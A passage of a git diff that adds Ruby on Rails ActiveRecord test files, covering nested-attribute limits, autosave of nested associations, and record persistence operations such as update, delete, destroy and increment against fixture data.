+ 'foo' => { :id => @child_1.id, :name => 'Grace OMalley' },
+ 'bar' => { :id => @child_2.id, :name => 'Privateers Greed' }
+ }
+ }
+ end
+
+ include NestedAttributesOnACollectionAssociationTests
+end
+
+module NestedAttributesLimitTests
+ def teardown
+ Pirate.accepts_nested_attributes_for :parrots, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+ end
+
+ def test_limit_with_less_records
+ @pirate.attributes = { :parrots_attributes => { 'foo' => { :name => 'Big Big Love' } } }
+ assert_difference('Parrot.count') { @pirate.save! }
+ end
+
+ def test_limit_with_number_exact_records
+ @pirate.attributes = { :parrots_attributes => { 'foo' => { :name => 'Lovely Day' }, 'bar' => { :name => 'Blown Away' } } }
+ assert_difference('Parrot.count', 2) { @pirate.save! }
+ end
+
+ def test_limit_with_exceeding_records
+ assert_raises(ActiveRecord::NestedAttributes::TooManyRecords) do
+ @pirate.attributes = { :parrots_attributes => { 'foo' => { :name => 'Lovely Day' },
+ 'bar' => { :name => 'Blown Away' },
+ 'car' => { :name => 'The Happening' }} }
+ end
+ end
+end
+
+class TestNestedAttributesLimitNumeric < ActiveRecord::TestCase
+ def setup
+ Pirate.accepts_nested_attributes_for :parrots, :limit => 2
+
+ @pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ end
+
+ include NestedAttributesLimitTests
+end
+
+class TestNestedAttributesLimitSymbol < ActiveRecord::TestCase
+ def setup
+ Pirate.accepts_nested_attributes_for :parrots, :limit => :parrots_limit
+
+ @pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?", :parrots_limit => 2)
+ end
+
+ include NestedAttributesLimitTests
+end
+
+class TestNestedAttributesLimitProc < ActiveRecord::TestCase
+ def setup
+ Pirate.accepts_nested_attributes_for :parrots, :limit => proc { 2 }
+
+ @pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ end
+
+ include NestedAttributesLimitTests
+end
+
+class TestNestedAttributesWithNonStandardPrimaryKeys < ActiveRecord::TestCase
+ fixtures :owners, :pets
+
+ def setup
+ Owner.accepts_nested_attributes_for :pets, :allow_destroy => true
+
+ @owner = owners(:ashley)
+ @pet1, @pet2 = pets(:chew), pets(:mochi)
+
+ @params = {
+ :pets_attributes => {
+ '0' => { :id => @pet1.id, :name => 'Foo' },
+ '1' => { :id => @pet2.id, :name => 'Bar' }
+ }
+ }
+ end
+
+ def test_should_update_existing_records_with_non_standard_primary_key
+ @owner.update(@params)
+ assert_equal ['Foo', 'Bar'], @owner.pets.map(&:name)
+ end
+
+ def test_attr_accessor_of_child_should_be_value_provided_during_update
+ @owner = owners(:ashley)
+ @pet1 = pets(:chew)
+ attributes = {:pets_attributes => { "1"=> { :id => @pet1.id,
+ :name => "Foo2",
+ :current_user => "John",
+ :_destroy=>true }}}
+ @owner.update(attributes)
+ assert_equal 'John', Pet.after_destroy_output
+ end
+
+end
+
+class TestHasOneAutosaveAssociationWhichItselfHasAutosaveAssociations < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false unless supports_savepoints?
+
+ def setup
+ @pirate = Pirate.create!(:catchphrase => "My baby takes tha mornin' train!")
+ @ship = @pirate.create_ship(:name => "The good ship Dollypop")
+ @part = @ship.parts.create!(:name => "Mast")
+ @trinket = @part.trinkets.create!(:name => "Necklace")
+ end
+
+ test "when great-grandchild changed in memory, saving parent should save great-grandchild" do
+ @trinket.name = "changed"
+ @pirate.save
+ assert_equal "changed", @trinket.reload.name
+ end
+
+ test "when great-grandchild changed via attributes, saving parent should save great-grandchild" do
+ @pirate.attributes = {:ship_attributes => {:id => @ship.id, :parts_attributes => [{:id => @part.id, :trinkets_attributes => [{:id => @trinket.id, :name => "changed"}]}]}}
+ @pirate.save
+ assert_equal "changed", @trinket.reload.name
+ end
+
+ test "when great-grandchild marked_for_destruction via attributes, saving parent should destroy great-grandchild" do
+ @pirate.attributes = {:ship_attributes => {:id => @ship.id, :parts_attributes => [{:id => @part.id, :trinkets_attributes => [{:id => @trinket.id, :_destroy => true}]}]}}
+ assert_difference('@part.trinkets.count', -1) { @pirate.save }
+ end
+
+ test "when great-grandchild added via attributes, saving parent should create great-grandchild" do
+ @pirate.attributes = {:ship_attributes => {:id => @ship.id, :parts_attributes => [{:id => @part.id, :trinkets_attributes => [{:name => "created"}]}]}}
+ assert_difference('@part.trinkets.count', 1) { @pirate.save }
+ end
+
+ test "when extra records exist for associations, validate (which calls nested_records_changed_for_autosave?) should not load them up" do
+ @trinket.name = "changed"
+ Ship.create!(:pirate => @pirate, :name => "The Black Rock")
+ ShipPart.create!(:ship => @ship, :name => "Stern")
+ assert_no_queries { @pirate.valid? }
+ end
+end
+
+class TestHasManyAutosaveAssociationWhichItselfHasAutosaveAssociations < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false unless supports_savepoints?
+
+ def setup
+ @ship = Ship.create!(:name => "The good ship Dollypop")
+ @part = @ship.parts.create!(:name => "Mast")
+ @trinket = @part.trinkets.create!(:name => "Necklace")
+ end
+
+ test "if association is not loaded and association record is saved and then in memory record attributes should be saved" do
+ @ship.parts_attributes=[{:id => @part.id,:name =>'Deck'}]
+ assert_equal 1, @ship.association(:parts).target.size
+ assert_equal 'Deck', @ship.parts[0].name
+ end
+
+ test "if association is not loaded and child doesn't change and I am saving a grandchild then in memory record should be used" do
+ @ship.parts_attributes=[{:id => @part.id,:trinkets_attributes =>[{:id => @trinket.id, :name => 'Ruby'}]}]
+ assert_equal 1, @ship.association(:parts).target.size
+ assert_equal 'Mast', @ship.parts[0].name
+ assert_no_difference("@ship.parts[0].association(:trinkets).target.size") do
+ @ship.parts[0].association(:trinkets).target.size
+ end
+ assert_equal 'Ruby', @ship.parts[0].trinkets[0].name
+ @ship.save
+ assert_equal 'Ruby', @ship.parts[0].trinkets[0].name
+ end
+
+ test "when grandchild changed in memory, saving parent should save grandchild" do
+ @trinket.name = "changed"
+ @ship.save
+ assert_equal "changed", @trinket.reload.name
+ end
+
+ test "when grandchild changed via attributes, saving parent should save grandchild" do
+ @ship.attributes = {:parts_attributes => [{:id => @part.id, :trinkets_attributes => [{:id => @trinket.id, :name => "changed"}]}]}
+ @ship.save
+ assert_equal "changed", @trinket.reload.name
+ end
+
+ test "when grandchild marked_for_destruction via attributes, saving parent should destroy grandchild" do
+ @ship.attributes = {:parts_attributes => [{:id => @part.id, :trinkets_attributes => [{:id => @trinket.id, :_destroy => true}]}]}
+ assert_difference('@part.trinkets.count', -1) { @ship.save }
+ end
+
+ test "when grandchild added via attributes, saving parent should create grandchild" do
+ @ship.attributes = {:parts_attributes => [{:id => @part.id, :trinkets_attributes => [{:name => "created"}]}]}
+ assert_difference('@part.trinkets.count', 1) { @ship.save }
+ end
+
+ test "when extra records exist for associations, validate (which calls nested_records_changed_for_autosave?) should not load them up" do
+ @trinket.name = "changed"
+ Ship.create!(:name => "The Black Rock")
+ ShipPart.create!(:ship => @ship, :name => "Stern")
+ assert_no_queries { @ship.valid? }
+ end
+end
diff --git a/activerecord/test/cases/persistence_test.rb b/activerecord/test/cases/persistence_test.rb
new file mode 100644
index 0000000..db3bb56
--- /dev/null
+++ b/activerecord/test/cases/persistence_test.rb
@@ -0,0 +1,789 @@
+require "cases/helper"
+require 'models/post'
+require 'models/comment'
+require 'models/author'
+require 'models/topic'
+require 'models/reply'
+require 'models/category'
+require 'models/company'
+require 'models/developer'
+require 'models/project'
+require 'models/minimalistic'
+require 'models/warehouse_thing'
+require 'models/parrot'
+require 'models/minivan'
+require 'models/owner'
+require 'models/person'
+require 'models/pet'
+require 'models/toy'
+require 'rexml/document'
+
+class PersistencesTest < ActiveRecord::TestCase
+ fixtures :topics, :companies, :developers, :projects, :computers, :accounts, :minimalistics, 'warehouse-things', :authors, :categorizations, :categories, :posts, :minivans, :pets, :toys
+
+ # Oracle UPDATE does not support ORDER BY
+ unless current_adapter?(:OracleAdapter)
+ def test_update_all_ignores_order_without_limit_from_association
+ author = authors(:david)
+ assert_nothing_raised do
+ assert_equal author.posts_with_comments_and_categories.length, author.posts_with_comments_and_categories.update_all([ "body = ?", "bulk update!" ])
+ end
+ end
+
+ def test_update_all_doesnt_ignore_order
+ assert_equal authors(:david).id + 1, authors(:mary).id # make sure there is going to be a duplicate PK error
+ test_update_with_order_succeeds = lambda do |order|
+ begin
+ Author.order(order).update_all('id = id + 1')
+ rescue ActiveRecord::ActiveRecordError
+ false
+ end
+ end
+
+ if test_update_with_order_succeeds.call('id DESC')
+ assert !test_update_with_order_succeeds.call('id ASC') # test that this wasn't a fluke and using an incorrect order results in an exception
+ else
+ # test that we're failing because the current Arel's engine doesn't support UPDATE ORDER BY queries is using subselects instead
+ assert_sql(/\AUPDATE .+ \(SELECT .* ORDER BY id DESC\)\Z/i) do
+ test_update_with_order_succeeds.call('id DESC')
+ end
+ end
+ end
+
+ def test_update_all_with_order_and_limit_updates_subset_only
+ author = authors(:david)
+ assert_nothing_raised do
+ assert_equal 1, author.posts_sorted_by_id_limited.size
+ assert_equal 2, author.posts_sorted_by_id_limited.limit(2).to_a.size
+ assert_equal 1, author.posts_sorted_by_id_limited.update_all([ "body = ?", "bulk update!" ])
+ assert_equal "bulk update!", posts(:welcome).body
+ assert_not_equal "bulk update!", posts(:thinking).body
+ end
+ end
+ end
+
+ def test_update_many
+ topic_data = { 1 => { "content" => "1 updated" }, 2 => { "content" => "2 updated" } }
+ updated = Topic.update(topic_data.keys, topic_data.values)
+
+ assert_equal 2, updated.size
+ assert_equal "1 updated", Topic.find(1).content
+ assert_equal "2 updated", Topic.find(2).content
+ end
+
+ def test_delete_all
+ assert Topic.count > 0
+
+ assert_equal Topic.count, Topic.delete_all
+ end
+
+ def test_delete_all_with_joins_and_where_part_is_hash
+ where_args = {:toys => {:name => 'Bone'}}
+ count = Pet.joins(:toys).where(where_args).count
+
+ assert_equal count, 1
+ assert_equal count, Pet.joins(:toys).where(where_args).delete_all
+ end
+
+ def test_delete_all_with_joins_and_where_part_is_not_hash
+ where_args = ['toys.name = ?', 'Bone']
+ count = Pet.joins(:toys).where(where_args).count
+
+ assert_equal count, 1
+ assert_equal count, Pet.joins(:toys).where(where_args).delete_all
+ end
+
+ def test_increment_attribute
+ assert_equal 50, accounts(:signals37).credit_limit
+ accounts(:signals37).increment! :credit_limit
+ assert_equal 51, accounts(:signals37, :reload).credit_limit
+
+ accounts(:signals37).increment(:credit_limit).increment!(:credit_limit)
+ assert_equal 53, accounts(:signals37, :reload).credit_limit
+ end
+
+ def test_increment_nil_attribute
+ assert_nil topics(:first).parent_id
+ topics(:first).increment! :parent_id
+ assert_equal 1, topics(:first).parent_id
+ end
+
+ def test_increment_attribute_by
+ assert_equal 50, accounts(:signals37).credit_limit
+ accounts(:signals37).increment! :credit_limit, 5
+ assert_equal 55, accounts(:signals37, :reload).credit_limit
+
+ accounts(:signals37).increment(:credit_limit, 1).increment!(:credit_limit, 3)
+ assert_equal 59, accounts(:signals37, :reload).credit_limit
+ end
+
+ def test_destroy_all
+ conditions = "author_name = 'Mary'"
+ topics_by_mary = Topic.all.merge!(:where => conditions, :order => 'id').to_a
+ assert ! topics_by_mary.empty?
+
+ assert_difference('Topic.count', -topics_by_mary.size) do
+ destroyed = Topic.destroy_all(conditions).sort_by(&:id)
+ assert_equal topics_by_mary, destroyed
+ assert destroyed.all? { |topic| topic.frozen? }, "destroyed topics should be frozen"
+ end
+ end
+
+ def test_destroy_many
+ clients = Client.all.merge!(:order => 'id').find([2, 3])
+
+ assert_difference('Client.count', -2) do
+ destroyed = Client.destroy([2, 3]).sort_by(&:id)
+ assert_equal clients, destroyed
+ assert destroyed.all? { |client| client.frozen? }, "destroyed clients should be frozen"
+ end
+ end
+
+ def test_delete_many
+ original_count = Topic.count
+ Topic.delete(deleting = [1, 2])
+ assert_equal original_count - deleting.size, Topic.count
+ end
+
+ def test_decrement_attribute
+ assert_equal 50, accounts(:signals37).credit_limit
+
+ accounts(:signals37).decrement!(:credit_limit)
+ assert_equal 49, accounts(:signals37, :reload).credit_limit
+
+ accounts(:signals37).decrement(:credit_limit).decrement!(:credit_limit)
+ assert_equal 47, accounts(:signals37, :reload).credit_limit
+ end
+
+ def test_decrement_attribute_by
+ assert_equal 50, accounts(:signals37).credit_limit
+ accounts(:signals37).decrement! :credit_limit, 5
+ assert_equal 45, accounts(:signals37, :reload).credit_limit
+
+ accounts(:signals37).decrement(:credit_limit, 1).decrement!(:credit_limit, 3)
+ assert_equal 41, accounts(:signals37, :reload).credit_limit
+ end
+
+ def test_create
+ topic = Topic.new
+ topic.title = "New Topic"
+ topic.save
+ topic_reloaded = Topic.find(topic.id)
+ assert_equal("New Topic", topic_reloaded.title)
+ end
+
+ def test_save!
+ topic = Topic.new(:title => "New Topic")
+ assert topic.save!
+
+ reply = WrongReply.new
+ assert_raise(ActiveRecord::RecordInvalid) { reply.save! }
+ end
+
+ def test_save_null_string_attributes
+ topic = Topic.find(1)
+ topic.attributes = { "title" => "null", "author_name" => "null" }
+ topic.save!
+ topic.reload
+ assert_equal("null", topic.title)
+ assert_equal("null", topic.author_name)
+ end
+
+ def test_save_nil_string_attributes
+ topic = Topic.find(1)
+ topic.title = nil
+ topic.save!
+ topic.reload
+ assert_nil topic.title
+ end
+
+ def test_save_for_record_with_only_primary_key
+ minimalistic = Minimalistic.new
+ assert_nothing_raised { minimalistic.save }
+ end
+
+ def test_save_for_record_with_only_primary_key_that_is_provided
+ assert_nothing_raised { Minimalistic.create!(:id => 2) }
+ end
+
+ def test_create_many
+ topics = Topic.create([ { "title" => "first" }, { "title" => "second" }])
+ assert_equal 2, topics.size
+ assert_equal "first", topics.first.title
+ end
+
+ def test_create_columns_not_equal_attributes
+ topic = Topic.allocate.init_with(
+ 'attributes' => {
+ 'title' => 'Another New Topic',
+ 'does_not_exist' => 'test'
+ }
+ )
+ assert_nothing_raised { topic.save }
+ end
+
+ def test_create_through_factory_with_block
+ topic = Topic.create("title" => "New Topic") do |t|
+ t.author_name = "David"
+ end
+ assert_equal("New Topic", topic.title)
+ assert_equal("David", topic.author_name)
+ end
+
+ def test_create_many_through_factory_with_block
+ topics = Topic.create([ { "title" => "first" }, { "title" => "second" }]) do |t|
+ t.author_name = "David"
+ end
+ assert_equal 2, topics.size
+ topic1, topic2 = Topic.find(topics[0].id), Topic.find(topics[1].id)
+ assert_equal "first", topic1.title
+ assert_equal "David", topic1.author_name
+ assert_equal "second", topic2.title
+ assert_equal "David", topic2.author_name
+ end
+
+ def test_update_object
+ topic = Topic.new
+ topic.title = "Another New Topic"
+ topic.written_on = "2003-12-12 23:23:00"
+ topic.save
+ topic_reloaded = Topic.find(topic.id)
+ assert_equal("Another New Topic", topic_reloaded.title)
+
+ topic_reloaded.title = "Updated topic"
+ topic_reloaded.save
+
+ topic_reloaded_again = Topic.find(topic.id)
+
+ assert_equal("Updated topic", topic_reloaded_again.title)
+ end
+
+ def test_update_columns_not_equal_attributes
+ topic = Topic.new
+ topic.title = "Still another topic"
+ topic.save
+
+ topic_reloaded = Topic.allocate
+ topic_reloaded.init_with(
+ 'attributes' => topic.attributes.merge('does_not_exist' => 'test')
+ )
+ topic_reloaded.title = 'A New Topic'
+ assert_nothing_raised { topic_reloaded.save }
+ end
+
+ def test_update_for_record_with_only_primary_key
+ minimalistic = minimalistics(:first)
+ assert_nothing_raised { minimalistic.save }
+ end
+
+ def test_update_sti_type
+ assert_instance_of Reply, topics(:second)
+
+ topic = topics(:second).becomes!(Topic)
+ assert_instance_of Topic, topic
+ topic.save!
+ assert_instance_of Topic, Topic.find(topic.id)
+ end
+
+ def test_preserve_original_sti_type
+ reply = topics(:second)
+ assert_equal "Reply", reply.type
+
+ topic = reply.becomes(Topic)
+ assert_equal "Reply", reply.type
+
+ assert_instance_of Topic, topic
+ assert_equal "Reply", topic.type
+ end
+
+ def test_update_after_create
+ klass = Class.new(Topic) do
+ def self.name; 'Topic'; end
+ after_create do
+ update_attribute("author_name", "David")
+ end
+ end
+ topic = klass.new
+ topic.title = "Another New Topic"
+ topic.save
+
+ topic_reloaded = Topic.find(topic.id)
+ assert_equal("Another New Topic", topic_reloaded.title)
+ assert_equal("David", topic_reloaded.author_name)
+ end
+
+ def test_delete
+ topic = Topic.find(1)
+ assert_equal topic, topic.delete, 'topic.delete did not return self'
+ assert topic.frozen?, 'topic not frozen after delete'
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.find(topic.id) }
+ end
+
+ def test_delete_doesnt_run_callbacks
+ Topic.find(1).delete
+ assert_not_nil Topic.find(2)
+ end
+
+ def test_destroy
+ topic = Topic.find(1)
+ assert_equal topic, topic.destroy, 'topic.destroy did not return self'
+ assert topic.frozen?, 'topic not frozen after destroy'
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.find(topic.id) }
+ end
+
+ def test_destroy!
+ topic = Topic.find(1)
+ assert_equal topic, topic.destroy!, 'topic.destroy! did not return self'
+ assert topic.frozen?, 'topic not frozen after destroy!'
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.find(topic.id) }
+ end
+
+ def test_record_not_found_exception
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.find(99999) }
+ end
+
+ def test_update_all
+ assert_equal Topic.count, Topic.update_all("content = 'bulk updated!'")
+ assert_equal "bulk updated!", Topic.find(1).content
+ assert_equal "bulk updated!", Topic.find(2).content
+
+ assert_equal Topic.count, Topic.update_all(['content = ?', 'bulk updated again!'])
+ assert_equal "bulk updated again!", Topic.find(1).content
+ assert_equal "bulk updated again!", Topic.find(2).content
+
+ assert_equal Topic.count, Topic.update_all(['content = ?', nil])
+ assert_nil Topic.find(1).content
+ end
+
+ def test_update_all_with_hash
+ assert_not_nil Topic.find(1).last_read
+ assert_equal Topic.count, Topic.update_all(:content => 'bulk updated with hash!', :last_read => nil)
+ assert_equal "bulk updated with hash!", Topic.find(1).content
+ assert_equal "bulk updated with hash!", Topic.find(2).content
+ assert_nil Topic.find(1).last_read
+ assert_nil Topic.find(2).last_read
+ end
+
+ def test_update_all_with_non_standard_table_name
+ assert_equal 1, WarehouseThing.where(id: 1).update_all(['value = ?', 0])
+ assert_equal 0, WarehouseThing.find(1).value
+ end
+
+ def test_delete_new_record
+ client = Client.new
+ client.delete
+ assert client.frozen?
+ end
+
+ def test_delete_record_with_associations
+ client = Client.find(3)
+ client.delete
+ assert client.frozen?
+ assert_kind_of Firm, client.firm
+ assert_raise(RuntimeError) { client.name = "something else" }
+ end
+
+ def test_destroy_new_record
+ client = Client.new
+ client.destroy
+ assert client.frozen?
+ end
+
+ def test_destroy_record_with_associations
+ client = Client.find(3)
+ client.destroy
+ assert client.frozen?
+ assert_kind_of Firm, client.firm
+ assert_raise(RuntimeError) { client.name = "something else" }
+ end
+
+ def test_update_attribute
+ assert !Topic.find(1).approved?
+ Topic.find(1).update_attribute("approved", true)
+ assert Topic.find(1).approved?
+
+ Topic.find(1).update_attribute(:approved, false)
+ assert !Topic.find(1).approved?
+ end
+
+ def test_update_attribute_does_not_choke_on_nil
+ assert Topic.find(1).update(nil)
+ end
+
+ def test_update_attribute_for_readonly_attribute
+ minivan = Minivan.find('m1')
+ assert_raises(ActiveRecord::ActiveRecordError) { minivan.update_attribute(:color, 'black') }
+ end
+
+ def test_update_attribute_with_one_updated
+ t = Topic.first
+ t.update_attribute(:title, 'super_title')
+ assert_equal 'super_title', t.title
+ assert !t.changed?, "topic should not have changed"
+ assert !t.title_changed?, "title should not have changed"
+ assert_nil t.title_change, 'title change should be nil'
+
+ t.reload
+ assert_equal 'super_title', t.title
+ end
+
+ def test_update_attribute_for_updated_at_on
+ developer = Developer.find(1)
+ prev_month = Time.now.prev_month
+
+ developer.update_attribute(:updated_at, prev_month)
+ assert_equal prev_month, developer.updated_at
+
+ developer.update_attribute(:salary, 80001)
+ assert_not_equal prev_month, developer.updated_at
+
+ developer.reload
+ assert_not_equal prev_month, developer.updated_at
+ end
+
+ def test_update_column
+ topic = Topic.find(1)
+ topic.update_column("approved", true)
+ assert topic.approved?
+ topic.reload
+ assert topic.approved?
+
+ topic.update_column(:approved, false)
+ assert !topic.approved?
+ topic.reload
+ assert !topic.approved?
+ end
+
+ def test_update_column_should_not_use_setter_method
+ dev = Developer.find(1)
+ dev.instance_eval { def salary=(value); write_attribute(:salary, value * 2); end }
+
+ dev.update_column(:salary, 80000)
+ assert_equal 80000, dev.salary
+
+ dev.reload
+ assert_equal 80000, dev.salary
+ end
+
+ def test_update_column_should_raise_exception_if_new_record
+ topic = Topic.new
+ assert_raises(ActiveRecord::ActiveRecordError) { topic.update_column("approved", false) }
+ end
+
+ def test_update_column_should_not_leave_the_object_dirty
+ topic = Topic.find(1)
+ topic.update_column("content", "Have a nice day")
+
+ topic.reload
+ topic.update_column(:content, "You too")
+ assert_equal [], topic.changed
+
+ topic.reload
+ topic.update_column("content", "Have a nice day")
+ assert_equal [], topic.changed
+ end
+
+ def test_update_column_with_model_having_primary_key_other_than_id
+ minivan = Minivan.find('m1')
+ new_name = 'sebavan'
+
+ minivan.update_column(:name, new_name)
+ assert_equal new_name, minivan.name
+ end
+
+ def test_update_column_for_readonly_attribute
+ minivan = Minivan.find('m1')
+ prev_color = minivan.color
+ assert_raises(ActiveRecord::ActiveRecordError) { minivan.update_column(:color, 'black') }
+ assert_equal prev_color, minivan.color
+ end
+
+ def test_update_column_should_not_modify_updated_at
+ developer = Developer.find(1)
+ prev_month = Time.now.prev_month
+
+ developer.update_column(:updated_at, prev_month)
+ assert_equal prev_month, developer.updated_at
+
+ developer.update_column(:salary, 80001)
+ assert_equal prev_month, developer.updated_at
+
+ developer.reload
+ assert_equal prev_month.to_i, developer.updated_at.to_i
+ end
+
+ def test_update_column_with_one_changed_and_one_updated
+ t = Topic.order('id').limit(1).first
+ author_name = t.author_name
+ t.author_name = 'John'
+ t.update_column(:title, 'super_title')
+ assert_equal 'John', t.author_name
+ assert_equal 'super_title', t.title
+ assert t.changed?, "topic should have changed"
+ assert t.author_name_changed?, "author_name should have changed"
+
+ t.reload
+ assert_equal author_name, t.author_name
+ assert_equal 'super_title', t.title
+ end
+
+ def test_update_column_with_default_scope
+ developer = DeveloperCalledDavid.first
+ developer.name = 'John'
+ developer.save!
+
+ assert developer.update_column(:name, 'Will'), 'did not update record due to default scope'
+ end
+
+ def test_update_columns
+ topic = Topic.find(1)
+ topic.update_columns({ "approved" => true, title: "Sebastian Topic" })
+ assert topic.approved?
+ assert_equal "Sebastian Topic", topic.title
+ topic.reload
+ assert topic.approved?
+ assert_equal "Sebastian Topic", topic.title
+ end
+
+ def test_update_columns_should_not_use_setter_method
+ dev = Developer.find(1)
+ dev.instance_eval { def salary=(value); write_attribute(:salary, value * 2); end }
+
+ dev.update_columns(salary: 80000)
+ assert_equal 80000, dev.salary
+
+ dev.reload
+ assert_equal 80000, dev.salary
+ end
+
+ def test_update_columns_should_raise_exception_if_new_record
+ topic = Topic.new
+ assert_raises(ActiveRecord::ActiveRecordError) { topic.update_columns({ approved: false }) }
+ end
+
+ def test_update_columns_should_not_leave_the_object_dirty
+ topic = Topic.find(1)
+ topic.update({ "content" => "Have a nice day", :author_name => "Jose" })
+
+ topic.reload
+ topic.update_columns({ content: "You too", "author_name" => "Sebastian" })
+ assert_equal [], topic.changed
+
+ topic.reload
+ topic.update_columns({ content: "Have a nice day", author_name: "Jose" })
+ assert_equal [], topic.changed
+ end
+
+ def test_update_columns_with_model_having_primary_key_other_than_id
+ minivan = Minivan.find('m1')
+ new_name = 'sebavan'
+
+ minivan.update_columns(name: new_name)
+ assert_equal new_name, minivan.name
+ end
+
+ def test_update_columns_with_one_readonly_attribute
+ minivan = Minivan.find('m1')
+ prev_color = minivan.color
+ prev_name = minivan.name
+ assert_raises(ActiveRecord::ActiveRecordError) { minivan.update_columns({ name: "My old minivan", color: 'black' }) }
+ assert_equal prev_color, minivan.color
+ assert_equal prev_name, minivan.name
+
+ minivan.reload
+ assert_equal prev_color, minivan.color
+ assert_equal prev_name, minivan.name
+ end
+
+ def test_update_columns_should_not_modify_updated_at
+ developer = Developer.find(1)
+ prev_month = Time.now.prev_month
+
+ developer.update_columns(updated_at: prev_month)
+ assert_equal prev_month, developer.updated_at
+
+ developer.update_columns(salary: 80000)
+ assert_equal prev_month, developer.updated_at
+ assert_equal 80000, developer.salary
+
+ developer.reload
+ assert_equal prev_month.to_i, developer.updated_at.to_i
+ assert_equal 80000, developer.salary
+ end
+
+ def test_update_columns_with_one_changed_and_one_updated
+ t = Topic.order('id').limit(1).first
+ author_name = t.author_name
+ t.author_name = 'John'
+ t.update_columns(title: 'super_title')
+ assert_equal 'John', t.author_name
+ assert_equal 'super_title', t.title
+ assert t.changed?, "topic should have changed"
+ assert t.author_name_changed?, "author_name should have changed"
+
+ t.reload
+ assert_equal author_name, t.author_name
+ assert_equal 'super_title', t.title
+ end
+
+ def test_update_columns_changing_id
+ topic = Topic.find(1)
+ topic.update_columns(id: 123)
+ assert_equal 123, topic.id
+ topic.reload
+ assert_equal 123, topic.id
+ end
+
+ def test_update_columns_returns_boolean
+ topic = Topic.find(1)
+ assert_equal true, topic.update_columns(title: "New title")
+ end
+
+ def test_update_columns_with_default_scope
+ developer = DeveloperCalledDavid.first
+ developer.name = 'John'
+ developer.save!
+
+ assert developer.update_columns(name: 'Will'), 'did not update record due to default scope'
+ end
+
+ def test_update
+ topic = Topic.find(1)
+ assert !topic.approved?
+ assert_equal "The First Topic", topic.title
+
+ topic.update("approved" => true, "title" => "The First Topic Updated")
+ topic.reload
+ assert topic.approved?
+ assert_equal "The First Topic Updated", topic.title
+
+ topic.update(approved: false, title: "The First Topic")
+ topic.reload
+ assert !topic.approved?
+ assert_equal "The First Topic", topic.title
+ end
+
+ def test_update_attributes
+ topic = Topic.find(1)
+ assert !topic.approved?
+ assert_equal "The First Topic", topic.title
+
+ topic.update_attributes("approved" => true, "title" => "The First Topic Updated")
+ topic.reload
+ assert topic.approved?
+ assert_equal "The First Topic Updated", topic.title
+
+ topic.update_attributes(approved: false, title: "The First Topic")
+ topic.reload
+ assert !topic.approved?
+ assert_equal "The First Topic", topic.title
+
+ assert_raise(ActiveRecord::RecordNotUnique, ActiveRecord::StatementInvalid) do
+ topic.update_attributes(id: 3, title: "Hm is it possible?")
+ end
+ assert_not_equal "Hm is it possible?", Topic.find(3).title
+
+ topic.update_attributes(id: 1234)
+ assert_nothing_raised { topic.reload }
+ assert_equal topic.title, Topic.find(1234).title
+ end
+
+ def test_update!
+ Reply.validates_presence_of(:title)
+ reply = Reply.find(2)
+ assert_equal "The Second Topic of the day", reply.title
+ assert_equal "Have a nice day", reply.content
+
+ reply.update!("title" => "The Second Topic of the day updated", "content" => "Have a nice evening")
+ reply.reload
+ assert_equal "The Second Topic of the day updated", reply.title
+ assert_equal "Have a nice evening", reply.content
+
+ reply.update!(title: "The Second Topic of the day", content: "Have a nice day")
+ reply.reload
+ assert_equal "The Second Topic of the day", reply.title
+ assert_equal "Have a nice day", reply.content
+
+ assert_raise(ActiveRecord::RecordInvalid) { reply.update!(title: nil, content: "Have a nice evening") }
+ ensure
+ Reply.reset_callbacks(:validate)
+ end
+
+ def test_update_attributes!
+ Reply.validates_presence_of(:title)
+ reply = Reply.find(2)
+ assert_equal "The Second Topic of the day", reply.title
+ assert_equal "Have a nice day", reply.content
+
+ reply.update_attributes!("title" => "The Second Topic of the day updated", "content" => "Have a nice evening")
+ reply.reload
+ assert_equal "The Second Topic of the day updated", reply.title
+ assert_equal "Have a nice evening", reply.content
+
+ reply.update_attributes!(title: "The Second Topic of the day", content: "Have a nice day")
+ reply.reload
+ assert_equal "The Second Topic of the day", reply.title
+ assert_equal "Have a nice day", reply.content
+
+ assert_raise(ActiveRecord::RecordInvalid) { reply.update_attributes!(title: nil, content: "Have a nice evening") }
+ ensure
+ Reply.reset_callbacks(:validate)
+ end
+
+ def test_destroyed_returns_boolean
+ developer = Developer.first
+ assert_equal false, developer.destroyed?
+ developer.destroy
+ assert_equal true, developer.destroyed?
+
+ developer = Developer.last
+ assert_equal false, developer.destroyed?
+ developer.delete
+ assert_equal true, developer.destroyed?
+ end
+
+ def test_persisted_returns_boolean
+ developer = Developer.new(:name => "Jose")
+ assert_equal false, developer.persisted?
+ developer.save!
+ assert_equal true, developer.persisted?
+
+ developer = Developer.first
+ assert_equal true, developer.persisted?
+ developer.destroy
+ assert_equal false, developer.persisted?
+
+ developer = Developer.last
+ assert_equal true, developer.persisted?
+ developer.delete
+ assert_equal false, developer.persisted?
+ end
+
+ def test_class_level_destroy
+ should_be_destroyed_reply = Reply.create("title" => "hello", "content" => "world")
+ Topic.find(1).replies << should_be_destroyed_reply
+
+ Topic.destroy(1)
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1) }
+ assert_raise(ActiveRecord::RecordNotFound) { Reply.find(should_be_destroyed_reply.id) }
+ end
+
+ def test_class_level_delete
+ should_be_destroyed_reply = Reply.create("title" => "hello", "content" => "world")
+ Topic.find(1).replies << should_be_destroyed_reply
+
+ Topic.delete(1)
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1) }
+ assert_nothing_raised { Reply.find(should_be_destroyed_reply.id) }
+ end
+
+ def test_create_with_custom_timestamps
+ custom_datetime = 1.hour.ago.beginning_of_day
+
+ %w(created_at created_on updated_at updated_on).each do |attribute|
+ parrot = LiveParrot.create(:name => "colombian", attribute => custom_datetime)
+ assert_equal custom_datetime, parrot[attribute]
+ end
+ end
+
+end
diff --git a/activerecord/test/cases/pooled_connections_test.rb b/activerecord/test/cases/pooled_connections_test.rb
new file mode 100644
index 0000000..a8a9b06
--- /dev/null
+++ b/activerecord/test/cases/pooled_connections_test.rb
@@ -0,0 +1,67 @@
+require "cases/helper"
